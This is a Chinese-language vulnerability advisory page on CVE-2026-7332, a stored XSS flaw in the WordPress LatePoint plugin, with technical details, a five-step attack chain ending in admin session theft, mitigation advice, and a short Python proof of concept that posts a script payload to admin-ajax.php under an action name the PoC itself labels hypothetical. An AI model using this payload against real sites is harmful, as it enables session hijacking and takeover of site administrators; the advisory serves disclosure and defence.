CVE-2026-7332 CVSS 7.2 高危

CVE-2026-7332 WordPress LatePoint存储型XSS漏洞

披露日期: 2026-05-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-7332

漏洞类型

存储型XSS

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress LatePoint插件

漏洞概述

WordPress插件LatePoint在5.5.0及以下版本中存在高危存储型XSS漏洞。由于对'booking_form_page_url'参数缺乏足够的输入清理和输出转义，未经身份验证的攻击者可注入恶意脚本。即使未配置Stripe，该漏洞仍可被利用，因为相关钩子在验证账户ID前触发，导致恶意日志被写入数据库并在用户访问页面时执行。

技术细节

该漏洞的核心在于LatePoint插件处理预订意图时的逻辑缺陷。在受影响版本中，`latepoint_order_intent_created`动作钩子会在验证Stripe Connect账户ID之前被触发，这意味着即使网站管理员未配置有效的Stripe支付环境，系统仍会继续处理预订请求并将相关数据写入活动日志。攻击者利用这一特性，向`booking_form_page_url`参数注入经过构造的恶意JavaScript代码。由于系统未对该参数进行严格的输入消毒和输出转义，这些恶意代码被持久化存储在数据库的活动日志表中。后续，当管理员或其他用户访问后台的活动日志页面时，嵌入的脚本将在其浏览器上下文中自动执行，进而可能导致管理员会话被窃取、账户被劫持或执行其他未经授权的恶意操作。

攻击链分析

STEP 1

侦察

攻击者识别出目标WordPress站点安装了存在漏洞的LatePoint插件（版本<=5.5.0）。

STEP 2

漏洞利用

攻击者向服务器发送特制的HTTP请求，在'booking_form_page_url'参数中注入恶意JavaScript代码。

STEP 3

数据存储

插件在验证Stripe配置前触发钩子，将包含恶意代码的日志条目写入数据库。

STEP 4

触发执行

管理员或用户访问后台活动日志页面时，数据库中的恶意脚本被加载并执行。

STEP 5

夺取权限

恶意脚本窃取管理员的Session Cookie，攻击者利用该Cookie劫持会话并获得后台控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: LatePoint < 5.5.0 - Stored XSS via 'booking_form_page_url'
# Date: 2026-05-06
# Exploit Author: Analyst
# CVE: CVE-2026-7332

target_url = "http://target-wordpress-site.com/"
# Simple XSS payload to test execution
payload = '"><script>alert(document.cookie)</script>'

# The endpoint that triggers the 'latepoint_order_intent_created' hook
# Note: The specific endpoint structure depends on the plugin routing
endpoint = target_url + "wp-admin/admin-ajax.php"

data = {
    "action": "latepoint_create_booking_intent", # Hypothetical action name
    "booking_form_page_url": payload
}

try:
    response = requests.post(endpoint, data=data)
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check the activity logs for execution.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

LatePoint <= 5.5.0

防御指南

临时缓解措施

建议立即将LatePoint插件升级到最新版本以彻底修复漏洞。在无法立即升级的情况下，应通过Web应用防火墙（WAF）添加规则，过滤对'booking_form_page_url'参数的恶意输入，并暂时限制非必要人员对插件活动日志的访问权限，以降低被攻击风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表